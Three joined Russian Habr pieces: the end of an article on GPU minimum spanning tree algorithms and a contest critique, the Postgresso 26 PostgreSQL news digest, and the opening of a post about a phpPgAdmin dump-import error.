2) [[14]](http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=5678261&url=http%3A%2F%2Fieeexplore.ieee.org%2Fxpls%2Fabs_all.jsp%3Farnumber%3D5678261) реализация алгоритма Прима на GPU.
3) [[15]](http://link.springer.com/chapter/10.1007%2F978-3-642-31125-3_6) реализация k NN-Boruvka на GPU.
Также существуют некоторые параллельные реализации на CPU. Но высокой производительности в зарубежных статьях я так и не смог найти. Может кто-нибудь из читателей сможет подсказать, если я что-то упустил. Также стоит отметить, что в России публикаций по этой теме практически нет (за исключением [Зайцева Вадима](http://2014.nscf.ru/TesisAll/8_Stendovaya/04_190_ZaycevVE.pdf)), что очень печально, как мне кажется.
О конкурсе и вместо заключения
-------------------------------
Хотелось бы написать свое мнение о прошедшем и упомянутом конкурсе лучшей реализации MST. Данные замечания не обязательны к прочтению и выражают мое личное мнение. Возможно, что кто-то думает совсем иначе.
В основу для решения данной задачи у всех участников был положен, по сути, один и тот же алгоритма Борувки. Получается, что задача немного упростилась, так как другие алгоритмы (Крускала и Прима) имеют большую вычислительную сложность и являются медленными, либо плохо отображаются на параллельные архитектуры, в том числе и на GPU. Из названия конференции логично следует, что необходимо написать алгоритм, хорошо обрабатывающий большие графы, такие графы, которые, скажем, занимают от 1ГБ в памяти и выше (такие графы имели масштабы от 22 и более). К сожалению, авторы почему то не учли данный факт и весь конкурс свелся к написанию алгоритма, хорошо работающего в кэше, так как тестовая платформа содержала 2 CPU с общим кэшем в 50 МБ ( графы до 17 масштаба весят <= 50МБ). Только один из участников показал приемлемый результат — Зайцев Вадим, получивший довольно высокое среднее значение на 2х CPU на графе 22 масштаба. Но как выяснилось в ходе конференции, данный участник занимался задачей MST довольно долгое время. Вероятно, скорость обработки больших графов остальных реализованных алгоритмов будет не велика и будет сильно отличаться от тех цифр (в худшую сторону), опубликованных на сайте конкурса. Также стоит обратить внимание на то, что структуры графов сильно отличаются и почему вдруг надо считать среднее значение производительности именно как среднее арифметическое тоже не совсем ясно. Также не учитывался и размер обрабатываемого графа. Еще одна неприятная «особенность» предоставленной системы (в состав которой входили 2x Intel Xeon E5-2690 и NVidia Tesla K20x) — не работающий PCIe 3.0 (хотя поддерживаемый на GPU и присутствующий на серверной плате). В результате, не удалось воспользоваться двумя более быстрыми (пусть хоть и немного), чем Xeon E5, процессорами, так как скорость PCIe 2.0 почти в 3 раза ниже.
Нельзя не отметить, что решение подобного рода задач на GPU является не простым, так как обработка графов трудно распараллеливается на GPU из-за архитектурных особенностей. И вполне возможно, данные конкурсы должны способствовать развитию специалистов в области написания алгоритмов, использующих неструктурные сетки для графических процессоров. Но судя по результатам этого года, а также предыдущего, использование GPU в подобных задачах, к сожалению, очень ограничено.
### Ссылки:
[1] [en.wikipedia.org/wiki/Sparse\_matrix](http://en.wikipedia.org/wiki/Sparse_matrix)
[2] [www.dislab.org/GraphHPC-2014/rmat-siam04.pdf](http://www.dislab.org/GraphHPC-2014/rmat-siam04.pdf)
[3] [www.dislab.org/GraphHPC-2015/SSCA2-TechReport.pdf](http://www.dislab.org/GraphHPC-2015/SSCA2-TechReport.pdf)
[4] [www.nvidia.ru/object/tesla-supercomputer-workstations-ru.html](http://www.nvidia.ru/object/tesla-supercomputer-workstations-ru.html)
[5] [www.nvidia.ru/object/geforce-gtx-titan-x-ru.html#pdpContent=2](http://www.nvidia.ru/object/geforce-gtx-titan-x-ru.html#pdpContent=2)
[6] [www.amd.com/ru-ru/products/graphics/workstation/firepro-3d/9100](http://www.amd.com/ru-ru/products/graphics/workstation/firepro-3d/9100)
[7] [en.wikipedia.org/wiki/Bor%C5%AFvka](http://en.wikipedia.org/wiki/Bor%C5%AFvka)'s\_algorithm
[8] [www.cs.princeton.edu/~rs/AlgsDS07/01UnionFind.pdf](http://www.cs.princeton.edu/~rs/AlgsDS07/01UnionFind.pdf)
[9] [habrahabr.ru/company/epam\_systems/blog/247805](http://habrahabr.ru/company/epam_systems/blog/247805/)
[10] [on-demand.gputechconf.com/gtc/2013/presentations/S3174-Kepler-Shuffle-Tips-Tricks.pdf](http://on-demand.gputechconf.com/gtc/2013/presentations/S3174-Kepler-Shuffle-Tips-Tricks.pdf)
[11] [openmp.org/wp](http://openmp.org/wp/)
[12] [devblogs.nvidia.com/parallelforall/unified-memory-in-cuda-6](http://devblogs.nvidia.com/parallelforall/unified-memory-in-cuda-6/)
[13] [stanford.edu/~vibhavv/papers/old/Vibhav09Fast.pdf](http://stanford.edu/~vibhavv/papers/old/Vibhav09Fast.pdf)
[14] [ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=5678261&url=http%3A%2F%2Fieeexplore.ieee.org%2Fxpls%2Fabs\_all.jsp%3Farnumber%3D5678261](http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=5678261&url=http%3A%2F%2Fieeexplore.ieee.org%2Fxpls%2Fabs_all.jsp%3Farnumber%3D5678261)
[15] [link.springer.com/chapter/10.1007%2F978-3-642-31125-3\_6](http://link.springer.com/chapter/10.1007%2F978-3-642-31125-3_6) | https://habr.com/ru/post/253031/ | null | ru | null |
# Postgresso 26
*Жизнь продолжается. А мы продолжаем знакомить вас с самыми интересными новостями PostgreSQL.*
**[Пополнение в Core Team](https://www.postgresql.org/community/contributors/)**
Напоминаем о неписанном правиле сообщества: в Core Team не должно быть большинство из одной компании. После слияния-поглощения EDB 2ndQuadrant 3 из 5 участников Основной Команды оказались коллегами по EDB. К счастью, никого не сократили, а добавили двух достойных: *Андреса Фройнда* (Andres Freund, Microsoft, Citus) и *Джонатана Каца* (Jonathan Katz, Crunchy Data).
Любимые области Андреса Фройнда: репликация, производительность и масштабируемость (смотрите три недавние статьи на эту тему, ссылки в нашем разделе *Статьи. Производительность*), хранение.
Джонатан Кац (Jonathan Katz, Crunchy Data) занимался патчами и ревью, но больше концентрировался на разработке и поддержке сайта, выпуске релизов и прочей сопутствующей, но необходимой деятельности. Он вообще важный человек: председатель совета директоров Ассоциации PostgreSQL в США (United States PostgreSQL Association) и директор Ассоциации PostgreSQL-сообщества Канады (PostgreSQL Community Association of Canada), которая выступает как юридическое лицо сообщества.
Прекрасное, взвешенное решение. Впрочем, не все с этим согласны: *Альваро Эрнандес* (Álvaro Hernández Tortosa — если полностью) поздравил новоизбранных (непонятно кем и непонятно как — по его мнению) и [предложил задуматься](https://postgresql.fund/blog/is-it-time-to-modernize-postgresql-core/) над следующими 10 проблемами управления сообществом:
***Влияние компаний:***
* 40% из Core Team были из одной компании, теперь — 43%, 71% из двух;
* 100% из всего лишь 4 компаний.
***Многообразие*** (diversity):
* 100% это белые мужчины;
* 100% из США или Европы;
* все кроме одного работают в американских компаниях.
***Демократия***:
* членов Core Team назначают члены Core Team;
* срок неограничен, четверо являются членами уже больше 15 лет.
***Прозрачность***:
* процессы выбора членов и кандидатов, критерии выбора и пр. — суть большой секрет;
* заседания секретны;
* стратегии (policies) объявляются, а не обсуждаются в сообществе.
Альваро предлагает высказаться. И *Ханс-Юрген Шёниг* (Hans-Jürgen Schönig) высказывается:
«Никогда не замечал и тени расизма при принятии патчей. Может и дальше будем продолжать как было — думать о компетентности, а не о расе, гендере или о чём там? У нас с этим никогда не было проблем. Так зачем проблему создавать?» *Клаус Расмуссен* (ClausRasmussen) ещё решительней: «зачем нам этот *crap* с идентичностями? У нас технологическое сообщество, а не [Liberal\_arts\_college](https://en.wikipedia.org/wiki/Liberal_arts_college)». Желающие могут запастись попкорном и следить за дискуссией. Этот текст обсуждается также [здесь](https://www.reddit.com/r/PostgreSQL/comments/jru21e/is_it_time_to_modernize_the_processes_structure/).
Я опустил детали в обращении Альваро. Ещё одна из упомянутых им проблем (существующих с точки зрения Альваро): Core Team это «центральный орган» проекта. А юридически проект представляет Postgres Association of Canada, определяя в том числе интеллектуальную собственность: доменные имена, торговые марки и прочее. Как бы чего не вышло.
**[CF-новость](https://commitfest.postgresql.org/30/)**
*Анастасия Лубенникова* из Postgres Professional стала распорядителем [текущего коммитфеста](https://commitfest.postgresql.org/30/). В этом ей помогает *Георгиос Коколатос* (Georgios Kokolatos).
**[Новости PG-этики](https://www.postgresql.org/about/policies/coc_committee/)**
А ещё Анастасия входит в [Комитет по этике](https://www.postgresql.org/about/policies/coc_committee/) (Code of Conduct Committee) сообщества (а Илья Космодемьянский вышел из комитета).
Кстати, благодаря то ли Альваро, то ли общему настроению, Комитет по этике объявил вакансии: нужны люди из разных стран и разных народов, чтобы отразить многообразие PostgreSQL-сообщества. Пишите на *coc@postgresql.org*
#### Документация к PostgreSQL 13.0
The PostgreSQL Global Development Group объявила о доступности русской документации к версии 13. Перевод на русский язык — компания Postgres Professional. [Официальная страница](https://postgrespro.ru/docs/) русскоязычной документации.
### Обучение
**[DEV2: Разработка серверной части приложений PostgreSQL 12. Расширенный курс.](https://postgrespro.ru/education/courses/DEV2)**
Новый курс продолжительностью 4 дня. В нём:* понимание внутренней организации сервера;
* полное использование возможностей, предоставляемых PostgreSQL для реализации логики приложения;
* расширение возможностей СУБД для решения специальных задач.
Основная идея курса – показать не просто базовые функции PostgreSQL, но и его расширяемость: возможность дополнить серверные механизмы собственным кодом, что позволяет использовать PostgreSQL для решения самых разнообразных задач.
Статьи
------
#### Масштабируемость и производительность
**[Measuring the Memory Overhead of a Postgres Connection](https://blog.anarazel.de/2020/10/07/measuring-the-memory-overhead-of-a-postgres-connection/)**
Андрес Фройнд (тот самый, кто только что обосновался в PostgreSQL Core Team) опубликовал серию из 3 статей о производительности PostgreSQL при большом числе соединений. Они дублируются в блоге [Citus](https://www.citusdata.com/blog/authors/andres-freund/) и в [блоге Microsoft](https://techcommunity.microsoft.com/t5/user/viewprofilepage/user-id/818435) (пока 20 лайков, 2 подписчика).
В статье об издержках памяти начинается с популярного мотива — а если бы треды, а не процессы? Спойлер Андреса: если аккуратно померить, то издержки меньше 2 [мебибайта](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B1%D0%B8%D0%B1%D0%B0%D0%B9%D1%82). А неаккуратно — это при помощи top и ps.
Для более тонких замеров памяти Андрес использует системные `/proc/$pid/status` и `/proc/$pid/smaps_rollup`. Так можно увидеть значения VmRSS, VmRSS, RssAnon, RssFile, RssShmem — если вы не знали, что это, то из статьи узнаете и поймёте, почему они важны. Чтобы не обмануться с причиной перерасхода памяти, он замеряет с включенным и отключенным `huge_pages`. Ещё: надо помнить о [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write) при форке процесса.
**[Analyzing the Limits of Connection Scalability in Postgres](https://www.citusdata.com/blog/2020/10/08/analyzing-connection-scalability/)**
Андрес исследует узкие места с тем, чтобы далее предложить путь их решения, и аргументирует не только из общих соображений, а с примерами и листингами. Раздувание кеша (cache bloat) тоже (как и оверхед при форке) не критично. Управление `work_mem` тоже удовлетворительно. А собака зарыта в куче снэпшотов: функция `GetSnapshotData()` дорогая и вызывается часто. Вывод: надо менять саму модель соединений (connection model), а может и модель исполнения запросов (query execution model). А от себя добавим: эта тема более, чем активно [обсуждалась](https://www.postgresql.org/message-id/flat/20200301083601.ews6hz5dduc3w2se%40alap3.anarazel.de) в рассылке **hackers**. Более того: в Postgres Professional давно ведутся разработки в этом направлении. Начиная с 12-й версии в Postgre Pro Enterprise Edition есть **[встроенный пул соединений](https://postgrespro.ru/docs/enterprise/12/connection-pooling)**. Это не совсем то, что сделал Андрес, но это тоже в тему масштабируемости клиентских соединений.
За диагностической 2-й статьёй следует 3-я — конструктивная: предложения Андреса уже в форме патчей, которые должны войти в версию PostgreSQL 14:
**[Improving Postgres Connection Scalability: Snapshots](https://www.citusdata.com/blog/2020/10/25/improving-postgres-connection-scalability-snapshots/)**
Пересказывать эту статью в паре абзацев, кажется, бессмысленно. Даём ссылки на серию патчей Андреса (все они начинаются с «snapshot scalability: » — здесь опускаем):
[Don’t compute global horizons while building snapshots](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=dc7420c2c9274a283779ec19718d2d16323640c0)
[Move PGXACT->xmin back to PGPROC](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=1f51c17c68d05c28d5b9294d8013cb9e7e653160)
[Introduce dense array of in-progress xids](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=941697c3c1ae5d6ee153065adb96e1e63ee11224)
[Move PGXACT->vacuumFlags to ProcGlobal->vacuumFlags](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=5788e258bb26495fab65ff3aa486268d1c50b123)
[Move subxact info to ProcGlobal, remove PGXACT.](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=73487a60fc1063ba4b5178b69aee4ee210c182c4)
[cache snapshots using a xact completion counter](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=623a9ba79bbdd11c5eccb30b8bd5c446130e521c)
(Об этом также [здесь](https://habr.com/ru/company/postgrespro/blog/522428/))
Другую серию — из 3 статей в жанре *от 8.3 и до 13* — опубликовал *Томаш Вондра* (Tomas Vondra, 2ndQuadrant — то есть EDB).
**[OLTP performance since PostgreSQL 8.3](https://www.2ndquadrant.com/en/blog/oltp-performance-since-postgresql-8-3/)**
В этой статье Томаш сначала объясняет замысел серии: почему начал с 8.3, почему именно эти тесты, зачем ему тестировать полнотекстовый поиск, на какой машине тестировать. Он не ставит цели сверхкорректного сравнения, это скорее упражнение для лучшего понимания PostgreSQL. До 8.3 он уж слишком отличался от нынешнего, охват и так недурен: 12 лет. А машина — обычный офисный компьютер.
В 1-й статье серии Томаш исследует производительность OLTP на **bgbench**, взятой из 13-й версии, `scale` 100 (1.6 ГБ), 1 000 (16 ГБ) и 10 000 (160 ГБ). Клиенты от 1 до 256. Хранение — NVMe SSD / SATA RAID; режимы: read-only (`pgbench -S`) / read-write (`pgbench -N`)
Графики с NVMe SSD ведут себя прилично: производительность в основном монотонно растёт с номером версии. А вот с SATA творятся чудеса: c SATA RAID в режиме чтения некоторые флюктуации и, похоже, регресс в версии 9.6. А вот на записи-чтении грандиозное ускорение с версии 9.1 — в 6 раз!
Томаш уверен, что постгрессистам придут в голову блестящие идеи, как эффективней использовать ресурсы железа. Патчи по улучшению масштабирования соединений или патч по неволатильным буферам WAL тому пример. Можно ждать радикальных улучшений в хранении (более эффективный формат файлов на диске, использование прямого ввода-вывода, например), более эффективные индексы.
**[TPC-H performance since PostgreSQL 8.3](https://www.2ndquadrant.com/en/blog/tpc-h-performance-since-postgresql-8-3/)**
Для измерения производительности на аналитических нагрузках Томаш запускал бенчмарк [TPC-H](http://www.tpc.org/tpch/) (его ещё называют бенчмарком принятия решений — decision support), получал результаты, которые можно анализировать ещё очень долго, нарисовал красивые графики, и сделал свои выводы — в меру отпущенного на это времени.
В TPC-H 22 запроса на 3 наборах данных: малом, среднем и большом. Томаш гоняет их на версиях от 8.3 до 13, да ещё и то включает, то отключает параллелизм. Коэффициенты масштабирования (scale factor) он выбирает такие: 1 (цель — поместиться в shared-buffers), 10 (в память) и 75 (не поместиться в память). Комбинаций — море, для анализа — простор. Иногда автор действительно «опускается» до отдельных запросов и анализирует причины странного поведения. Кривая производительности немонотонно меняется с версией, а по отдельным запросам скачет совсем неожиданно. Причина простая: планировщик и оптимизатор умнеют с новыми версиями за счёт новых планов и/или за счет новых способов использования статистики, но оборотная сторона — промахи: неверный выбор плана из-за плохой статистики, оценок стоимостей или других ошибок. Примерно то же и с параллелизмом: появляются новые планы, но если стоимости и оценки расходятся с реальностью, выбираются планы, хуже старых, последовательных.
*Диаграмма из статьи TPC-H performance since PostgreSQL 8.3. Можно было поместить в наш раздел Прекрасное.*
**[Full-text search since PostgreSQL 8.3](https://www.2ndquadrant.com/en/blog/full-text-search-since-postgresql-8-3/)**
В преамбуле Томаш рассказывает историю FTS в PostgreSQL, которая началась с *Олега Бартунова* и *Фёдора Сигаева* лет за 20 до основания Postgres Professional. Далее Томаш сетует на отсутствие индустриальных стандартов тестирования полнотекстового поиска и обращается к собственным ресурсам ПО: в незапамятные времена он сочинил утилиту archie – парочку питоновых скриптов, которые загружают архивы переписки PostgreSQL, превращая их в базу, которую можно индексировать, в которой можно искать тексты. Сейчас в таких архивах около миллиона строк — 9.5 ГБ не считая индексов. В качестве тестовых запросов он взял 33 тыс. реальных поисковых запросов к архиву на сайте PostgreSQL.org.
*Фёдор Сигаев и Олег Бартунов. Фотография из статьи Full-text search since PostgreSQL 8.3*
Запросы были разного типа, но для статьи взял вот такие — с `tsvector`, придуманным ещё *Бартуновым и Сигаевым*:
```
SELECT id, subject FROM messages WHERE body_tsvector @@ $1
SELECT id, subject FROM messages WHERE body_tsvector @@ $1
ORDER BY ts_rank(body_tsvector, $1) DESC LIMIT 100
```
Кроме того Томаш тестировал влияние индексов GIN и GiST. Оба запроса с использованием GIN дают огромный скачок в производительности — в 4 с лишним раза! Томаш благодарит за это *Александра Короткова* и *Хейкки Линнакангас* (Heikki Linnakangas), придумавших патч [Improve speed of multi-key GIN lookups](https://www.postgresql.org/docs/9.4/release-9-4.html). А вот если использовать GiST, то ничего хорошего вообще не будет. А будет плавная деградация. Почему ж никто не жаловался? — вопрошает автор и предполагает, что вместе с апгрейдом версий многие апгрейдили и железо, и это маскировало эффект. Или просто не использовали GiST для текстового поиска.
Олег, Теодор [Фёдор] и их коллеги — напоминает Томаш — работали над более мощными вариантами GIN-индексов — VODKA и RUM *[примечание редакции: об индексах RUM, о том, чем они лучше GIN, о расширении **rum** можно почитать [здесь](https://habr.com/ru/company/postgrespro/blog/343488/). Про водку не будем :)]*. Это как минимум поможет некоторым типам запросов. Особенно автор надеется на улучшение поддержки новых типов полнотекстовых запросов, так как новые типы индексов спроектированы для того, чтобы ускорить фразовый поиск (см. [там же](https://habr.com/ru/company/postgrespro/blog/343488/)).
**[Книжечки](https://twitter.com/theshawwn/status/1320282149329784833)**
Кстати, о текстовых файлах и поиске в них. Вот 196640 книг (файлов) в текстовом формате. Их, скорее всего, будут использовать для обучения больших сетей, но можно их, скажем, использовать и в каких-нибудь тестах производительности текстового поиска или ещё каких-то манипуляций текстом. Собирали [тексты](https://twitter.com/theshawwn/status/1320282149329784833) энтузиасты с the-eye.eu (почему-то недоступного честному пользователю из РФ).
**[PostgreSQL 14: Часть 2 или «в тени тринадцатой» (Коммитфест 2020-09)](https://habr.com/ru/company/postgrespro/blog/522428/)**
Эта статья *Павла Лузанова* из отдела образования Postgres Professional и о производительности тоже: постольку, поскольку патчи, принятые на этом коммитфесте, имели отношение к производительности (о патчах Андреса, которые он упоминал, там тоже есть). Это, как и [Часть 1 (Коммитфест 2020-07)](https://habr.com/ru/company/postgrespro/blog/510124/), MUST READ для тех, кто следит за технологическими новшествами PostgreSQL — без IMHO.
#### Жизнь в PostgreSQL
*памяти **[Джона Хортона Конвея](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B2%D0%B5%D0%B9,_%D0%94%D0%B6%D0%BE%D0%BD_%D0%A5%D0%BE%D1%80%D1%82%D0%BE%D0%BD)**, умершего от COVID-19*
Открывает эту мемориальную подборку ссылок недавняя статья *Егора Рогова*: **[«Жизнь» на PostgreSQL](https://habr.com/ru/company/postgrespro/blog/523144/)**
Некто *Сергей aka ildarovich* делает это на языке запросов 1С, а точнее одним запросом: **[Игра «Жизнь» в одном запросе](https://infostart.ru/public/91775/)**
А вот на C#: **[Как ускорить игру «Жизнь» в сто раз](https://habr.com/ru/post/505606/#comment_21716570)**, в комментариях есть SQL-код.
На JS, огромная статья, очень красивая визуализация: **[Эволюционирующие клеточные автоматы](https://habr.com/ru/post/455958/)**
Кстати, о Конвее: Джо (Joe), однофамилец классика клеточных автоматов (в прошлом [выпуске](https://habr.com/ru/company/postgrespro/blog/519102/) мы ссылались на статью 2007-го года про то, как использовать PL/R для [GIS](https://info.crunchydata.com/blog/spatial-analytics-with-postgres-postgis-plr)) теперь, в начале ноября 2020, пишет на тему сверх-актуальную:
**[Election Night Prediction Modeling using PL/R in Postgres](https://info.crunchydata.com/blog/election-night-prediction-modeling-using-pl/r-in-postgres)**
Он использует пакеты **[mvtnorm](https://cran.r-project.org/web/packages/mvtnorm/mvtnorm.pdf)** (3 алгоритма нормального распределения), **politicaldata** (специальные тулзы для сбора и анализа политических данных) и **[tidyverse](https://www.tidyverse.org/)** (разные средства анализа данных). Для развлечения Джо предлагает разобраться в немалом количестве строк кода, создаёт свой тип данных и ещё предлагает придумать SQL-запросы в качестве упражнения.
Релизы
------
**[PostgreSQL 13.1](https://www.postgresql.org/docs/13/release-13-1.html)**
А также 12.5, 11.10, 10.15, 9.6.20 и 9.5.24. В новых версиях исправлены обнаруженные баги, в том числе связанные с безопасностью. Сейчас мы не будем на них останавливаться. Они описаны на [этой странице](https://www.postgresql.org/docs/13/release-13-1.html).
**[OpenGauss 1.0.1](https://opengauss.org/en/)**
Сотрудник Huawei *Вадим Гусев* сообщает на хабре о появлении **[openGauss: новая СУБД от Huawei для нагруженных enterprise-проектов прибавила в функциональности](https://habr.com/ru/company/huawei/blog/526560/)**
Это [форк PostgreSQL](https://gitee.com/opengauss), опенсорсный вариант проприетарной [GaussDB](https://e.huawei.com/en/solutions/cloud-computing/big-data/gaussdb-distributed-database), который работает на x86 и китайских процессорах Kunpeng 920, у которых архитектура ARM64 (к слову: напоминаем, что ARM ltd [куплена](https://habr.com/ru/news/t/518968/) Nvidia), то есть мы можем предположить курс на китайское импортозамещение (в нише ARM у нас не «Эльбрусы», а «Байкалы»).
Как утверждают создатели, у OpenGauss гибридная ориентация в духе [HTAP](https://en.wikipedia.org/wiki/Hybrid_transactional/analytical_processing), и она многое умеет :* колоночное хранение;
* in-memory engine;
* развертывается решение как в контейнерах, так и на физических серверах;
* ИИ (глубокое [обучение с подкреплением](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BF%D0%BE%D0%B4%D0%BA%D1%80%D0%B5%D0%BF%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5%D0%BC) в сочетании с эвристическими алгоритмами) рекомендует параметры.;
* инкрементальное резервное копирование;
* Standby на удаленной площадке в синхронном или асинхронном режиме (до четырех реплик на физическом уровне).
В [статье](http://www.vldb.org/pvldb/vol13/p3099-avni.pdf) с длинным интернациональным списком авторов (фамилии от индийских до русских, китайцы в меньшинстве) оценивается производительность на TPC-C.
**[Database Lab 2.0](https://www.youtube.com/watch?v=-ltBmGRrzFY)**
*Николай Самохвалов* и *Артём Картасов* из Postgres.ai (Артём делал бОльшую часть кода) на [Постгрес-вторнике](https://www.youtube.com/channel/UC0SBGSNmBLrTZIkbN-lJHnw) 3 ноября рассказали (за полтора часа) о Database Lab 2.0 — новой, сильно отличающейся версии своей среды для тестирования и разработки с «тонкими клонами» (при клонировании копируются только измененные блоки).
Новое:
* поддержка RDS и других облачных Postgres-сервисов;
* физическое развертывание с нативной поддержкой WAL-G;
* декларативное развертывание;
* управление снэпшотами, политики снэпшотов;
* предобработка данных (анонимизация);
* time travel для диагностики, контроля изменений, быстрого точечного восстановления;
* оптимизация SQL на новом уровне: serverless EXPLAIN и бот-помощник для оптимизации;
* 100% покрытие миграций БД (изменение схемы) автоматическими тестами на полноразмерных копиях БД;
* регрессивные тесты;
* поддержка docker-имиджей для Postgres 9.6, 10, 11, 12 и 13; по умолчанию в них расширения Timescale, Citus, PoWA и много других, а также большинство расширений, поддерживаемых Amazon RDS;
* документация сильно [расширена](https://postgres.ai/docs).
**[pg\_statement\_rollback 1.0](https://github.com/lzlabs/pg_statement_rollback)**
pg\_statement\_rollback — это расширение Жиля Дароля (Gilles Darold), Жульена Руо (Julien Rouhaud) и Дэйва Шарпа (Dave Sharpe), которое реализует в PostgreSQL откат транзакции на уровне оператора (server side rollback at statement level for PostgreSQL) как в Oracle или DB2. Это значит, что при ошибке в выполнении оператора его результаты не видны — как будто оператора и не было. При этом результаты операторов, выполненных в транзакции до этого, не теряются. В PostgreSQL это можно было сделать только на клиенте, в psql, например:
```
\set ON_ERROR_ROLLBACK on
```
Теперь всё будет работать на сервере таким образом, как будто для каждого оператора серверу посылаются
```
SAVEPOINT autosave
и
RELEASE SAVEPOINT autosave
```
— а такая роскошь раньше могла сказаться на производительности. Авторы дают результаты тестов TPS-B и честно рассказывают о проблемах.
**[pgbitmap 0.9.3](https://marcmunro.github.io/pgbitmap/docs/html/index.html)**
Бета-релиз расширения pgbitmap, доступно на [pgxn](https://pgxn.org/dist/pgbitmap/) и [github](https://github.com/marcmunro/pgbitmap).
Это расширение Марка Манро (Marc Munro) создаёт тип `pgbitmap` с полным набором функций, операторов и агрегатов. Он отличается от стандартных типов Postgres [`bit` и `bit varying`](https://postgrespro.ru/docs/postgrespro/12/functions-bitstring) тем, что строка не начинается с нулевого бита и тем, что набор операций намного богаче. Этот тип разрабатывался под Virtual Private Database для управления привилегиями. В этом релизе исправлены ошибки, он считается релизом-кандидатом. Сейчас открытых багов не осталось — присылайте, если найдёте.
Документация [здесь](https://marcmunro.github.io/pgbitmap/docs/html/index.html).
**[pgpool-II 4.2 beta1](https://www.pgpool.net/docs/42/en/html/release-4-2-0.html)**
В новой версии:* улучшено и упрощено конфигурирование логирования;
* добавлен новый режим кластера: snapshot\_isolation\_mode, который гарантирует не только модификацию данных нескольким инстансам, но и согласованность по чтению;
* поддержка LDAP-аутентификации между клиентом и Pgpool-II;
* импорт SQL-парсера PostgreSQL 13.
и прочее, о чём можно прочитать в [Release notes](https://www.pgpool.net/docs/42/en/html/release-4-2-0.html).
Загрузить можно [отсюда](https://pgpool.net/mediawiki/index.php/Developer_releases).
**[pg\_activity 1.6.2](https://github.com/dalibo/pg_activity/releases/tag/v1.6.2)**
pg\_activity это интерфейс в стиле top для мониторинга бэкендов PostgreSQL в реальном времени. Поддерживается Бенуа Лабро (Benoit Lobréau, Dalibo Labs). В нём можно:* настраивать частоту обновления;
* переключаться между тремя представлениями запросов: исполняющиеся/ждущие/блокирующие;
* сортировать по PostgreSQL-метрикам: READ/s, WRITE/s
Зависимостей теперь мало. Работает на Python 2.6+. Исходники [здесь](https://github.com/dalibo/pg_activity).
**[pgcenter 0.6.6](https://github.com/lesovsky/pgcenter/releases/tag/v0.6.6)**
На гитхабе *Алексея Лесовского* (Data Egret) появилась новая версия. В ней:* рейтинги запросов адаптированы к версии PostgreSQL 13;
* тайминги операторов адаптированы к версии 13;
* надо проапдейтить конфигурацию `travic-ci`: отключить `skip_cleanup`; проапгерйдить Go до версии 1.14.
**[pglogical 2.3.3](https://www.postgresql.org/about/news/announcing-the-release-of-pglogical-233-2085/)**
Появилась поддержка PostgreSQL 13. Загружать [отсюда](https://www.2ndquadrant.com/en/resources/pglogical/pglogical-installation-instructions/). Чейнджлог недоступен, за информацией велено обращаться к info@2ndQuadrant.com.
**[repmgr 5.2.0](https://www.postgresql.org/about/news/announcing-the-release-of-repmgr-520-2096/)**
Добавлена поддержка PostgreSQL 13. Из изменений:* новая опция `--verify-backup` запускает утилиту pg\_verifybackup после сканирования реплики, чтобы убедиться в консистентности скопированных данных (только для PostgreSQL 13 и позже);
* у `failover_validation_command` появились новые параметры и конфигурационная опция `always_promote` для управления промоутированием ноды в случае, когда метаданные [repmgr](https://repmgr.org/) уже неактуальны;
* поддержка PostgreSQL 9.3 прекращена.
Есть и другие изменения, о которых можно узнать [здесь](https://repmgr.org/docs/dev/release-5.2.0.html). Сорсы находятся [здесь](https://repmgr.org/download/repmgr-5.2.0.tar.gz), а инструкции по инсталляции [здесь](https://repmgr.org/docs/current/installation.html).
#### Прекрасное
**[Популярность баз 2006 — 2020](https://www.youtube.com/watch?v=fWC5tP9hDms)**
Скриншоты не передадут гипнотической мощи этой динамической инфографики от [DB weekly](https://dbweekly.com/). Это кино увлекательно, познавательно воодушевляюще и даже чуть-чуть отрезвляюще в то же время.
а через 14 лет популярность PostgreSQL выросла более, чем в 2 раза:
**[Postgres Observability](https://pgstats.dev/?fbclid=IwAR1VfWy6RF3bn70xrzbh7tpCcxn-3wTTRXhpgmd6xcDQTN_o_8cXuV0DOZk)**
Интерактивный шедевр наглядности & информативности (этот скриншот в подмётки не годится). Автор *Алексей Лесовский* из DataEgret.
### Конференции
**[Highload++](https://www.highload.ru/moscow/2020)**
Внимание: переносится! Новые даты конференции 17 и 18 февраля 2021 года!
**[Ибица 2020 — зачеркнуто — 2021](https://postgresql.fund/blog/postgres-ibiza-2020-cancelled/)**
Одна из самых любимых PG-народом конференций — Postgres Ibiza 2020 — должна состояться в 2021 году 23-25-го июня (дата предварительная). Следите за новостями на **[pgibz.io](http://pgibz.io)** или на сайте [FUNDACIÓN POSTGRESQL](https://postgresql.fund/) — сообщества с испаноязычным уклоном. Про Бали пока не слышно.
**[Postgres Build 2020](https://www.postgresbuild.com/about)**
Виртуальная европейская конференция по PostgreSQL, посещение бесплатное. Фокус на кейсы реальных клиентов. Пройдёт 8-9 декабря 2020 он-лайн. Twitter и LinkedIn: #postgresbuild. | https://habr.com/ru/post/523264/ | null | ru | null |
# Работа над ошибками — phppgadmin
Один из наших клиентов поставил задачу — не заливается дамп базы данных через phpPgAdmin. В лог ошибок выводятся сообщения типа: ERROR: relation «public».«company» does not exists.
Схема public в наличии имеется, таблицы company нету. В процессе поиска выясняется, что через консоль этот же дамп заливается без проблем. Если загружать в web-форму в phpPgAdmin — то тоже все отрабатывает. Но вот если загружать этот дамп в тот же phpPgAdmin как файл — идут ошибки.
Вот сокращенное содержимое дампа БД:
```
DROP TABLE IF EXISTS "public"."company";
CREATE TABLE "public"."company" (
"id" int4 NOT NULL,
"name" varchar(255) COLLATE "default" NOT NULL,
"address" varchar(255) COLLATE "default",
)
WITH (OIDS=FALSE)
;
COMMENT ON COLUMN "public"."company"."name" IS 'название';
